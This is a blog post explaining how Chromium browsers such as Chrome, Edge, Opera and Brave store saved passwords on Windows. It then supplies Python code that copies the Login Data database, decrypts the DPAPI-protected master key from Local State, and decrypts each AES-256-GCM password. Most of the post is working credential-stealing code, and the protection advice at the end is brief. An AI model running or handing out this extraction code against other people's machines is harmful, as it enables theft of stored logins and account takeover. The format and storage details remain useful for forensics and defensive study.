How To Extract Saved Passwords From Chromium Engine Browsers

Musab TatekMusab Tatek
6 min read

Getting Started

Have you ever thought that your Chrome browser's password storage might be vulnerable to security breaches? Well, the answer is a resounding "Yes". Any individual with access to your computer can easily decrypt and extract all of your stored passwords in seconds. This alarming discovery might lead you to rethink trusting your browser's password manager and take appropriate security measures to safeguard your sensitive information. After reading this post, you may find yourself questioning the reliability of your browser's password manager.

In this blog post, we'll walk through the steps to extract saved passwords from Google Chrome, as well as offer some tips on how to protect your passwords.

Usage of Password Managers in the modern world

As technology advances, it's becoming more and more difficult to remember all the different passwords we use to access our online accounts. That's why many of us rely on password managers, such as the one built into Google Chrome, to save our login credentials for us. While this can be a convenient feature, it also means that if someone gains access to our computer, they may be able to extract those saved passwords.

Understanding how Chrome Saves Passwords

While using Chromes password manager when a login is detected in Chrome it will prompt you to save your password in the Chrome vault if you are allowed to save it then it is saved in Chromes sqlite db that is located in the user %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data or in the C:\\Users\\[username]\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data The login data file is an SQLite database file and the password are stored using the insert query. Note that If the user has multiple profiles the passwords will be stored under the %LOCALAPPDATA%\\Google\\Chrome\\User Data\\[Profile Name]\\Login Data.

Viewing the data in the database

As I told you above the database is in sqlite3 and the login credentials Will be stored in a table named logins.

Here are some of the useful data stored in the database in the logins table.

origin_url - main url of the website
action_url - login url of the website
username_element - name of the username field in the website
username_value - username used for login
password_element - name of the password field in the website
password_value - password used for login (encrypted)
date_created - date when it is stored
times_used - how many times this password is used
blacklisted_by_user - set to 1 means password is never stored
submit_element -name or ID of the HTML element that is used to submit the login form

Extracting the Data

As you see above all the data in the logins table is put in plain text except for the password first let’s extract useful info and we will continue to the password. Here’s a simple Python script to extract the data.

import sqlite3
import shutil

def main():
    # Chrome database path
    db_path = os.path.join(os.environ["LOCALAPPDATA"], "Google", "Chrome", "User Data", "Default", "Login Data")
    # copy the file to another location because the database will be locked if chrome is currently running
    filename = "data.db"
    shutil.copyfile(db_path, filename)
    # connect to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # `logins` table has the data we need
    cursor.execute("select origin_url, action_url, username_value, password_value from logins order by date_created")
    # iterate over all rows
    for row in cursor.fetchall():
        origin_url = row[0]
        action_url = row[1]
        username = row[2]
        password =row[3]
        if username or password:
            print(f"Origin URL: {origin_url}")
            print(f"Action URL: {action_url}")
            print(f"Username: {username}")
            print(f"Password: {password}")

    cursor.close()
    db.close()
    try:
        # try to remove the copied db file
        os.remove(filename)
    except:
        pass


if __name__ == "__main__":
    main()

After running the code mentioned above to extract information from the Chrome SQLite database, you will notice that the password is not included in the output. This is because the password is stored in an encrypted form in the database as a blob, resulting in a meaningless hexadecimal output. To obtain the actual password, we must decrypt it. However, before doing so, it is necessary to understand how Chrome stores passwords in the first place.

How Passwords and Encrypted in Chromium Engine Browsers

In Chrome versions that are less than 80, the password is encrypted using the Windows Data Protection API DPAPI Function CryptProtectData uses the computer’s private key to encrypt or decrypt the data. So the data can be only decrypted only on that computer.

When we come to Chrome version’s that are above 80 Chrome introduced and new strong password encryption mechanism the passwords are encrypted using a master key in a JSON file that is located in %LOCALAPPDATA%\\Google\\Chrome\\User Data\\Local State or in the C:\\Users\\[username]\\AppData\\Local\\Google\\Chrome\\User Data\\Local State

To Generate the Master Key it generates 32-byte random data. Then it is encrypted using Windows DPAPI Function CryptProtectData. Then inserts the signature “DPAPI” at the beginning of the encrypted random byte for identification. Finally, this key is encoded using Base64 and stored in the “Local State” file.

Here’s How the Master Key May Look Like.

"os_crypt":{"encrypted_key":"FBCDHVBDHFBVJDA0RGbegD...irgpsxEv3TKNqz0HVBJHBBHBbh"},

Now to store the web login password, Chrome encrypts it using the AES-256-GCM algorithm with the above master key and 12-byte random IV data. Finally, it inserts a 3-byte signature “v10” into the encrypted password and stores it in the “Login Data” file.

Below is the structure of the new encrypted password,

struct Password
{
    BYTE signature[3] = "v10";
    BYTE iv[12];
    BYTE encPassword[...]
}

Decrypting The Passwords

To retrieve the encrypted passwords, we must reverse the process by parsing the master password from the Local State file, decoding the base64, and removing the DPAPI signature. To accomplish this, we can use a simple Python function that extracts the "os_crypt" value from the Local State JSON file, removes the DPAPI signature and runs the CryptUnprotectData function to return the decrypted password.

def getmasterpassword():
    local_state_path = os.path.join(os.environ["LOCALAPPDATA"], "Google", "Chrome","User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # decode the encryption key from Base64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # remove DPAPI str
    key = key[5:]
    # Decrypt and Return the master password
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

Having obtained the master password, we can now decrypt the encrypted passwords. First, we need to remove the v10 signature and extract the 12-byte random iv and the encrypted password. Then, we can use the AES-256-GCM algorithm and the master password to decrypt the password.

To perform this decryption process, we can use the below function that takes the encrypted password and the master password as arguments and returns the decrypted password.

def decrypt_password(password, key):
    try:
        # extract the initialization vector
        iv = password[3:15]
        # extract the password
        password = password[15:]
        # generate cipher
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # decrypt password
        return cipher.decrypt(password)[:-16].decode()
    except:
        try:
            # For chromium less than 80
            return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
        except:
            # not supported
            return ""

Using this in other Chromium Engine Browsers

If you intend to extract passwords from other Chromium engine browsers, you will need to modify the database and Local State location accordingly. Below are the database and local state locations for some commonly used Chromium engine browsers.

  • Microsoft Edge

    • Login Data : %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data

    • Local State : %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Local State

  • Opera

    • Login Data : %APPDATA%\\Opera Software\\Opera Stable\\Login Data

    • Local State : %APPDATA%\\Opera Software\\Opera Stable\\Local State

  • Brave

    • Login Data : %LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data

    • Local State : %LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\User Data\\Local State

You can find the full code on my GitHub Repo.


Concluding

As shown above, you've seen how easy it is to extract passwords from Chromium engine browsers.

To protect your sensitive information, use a password manager, enable two-factor authentication, keep your software up-to-date, and monitor your online accounts. These measures will enhance your defense against cyber threats and safeguard your data.

References

https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptprotectdata
http://timgolden.me.uk/pywin32-docs/win32crypt.html
https://docs.python.org/3/library/shutil.html
https://xenarmor.com/how-to-recover-saved-passwords-google-chrome/
0
Subscribe to my newsletter

Read articles from Musab Tatek directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Musab Tatek
Musab Tatek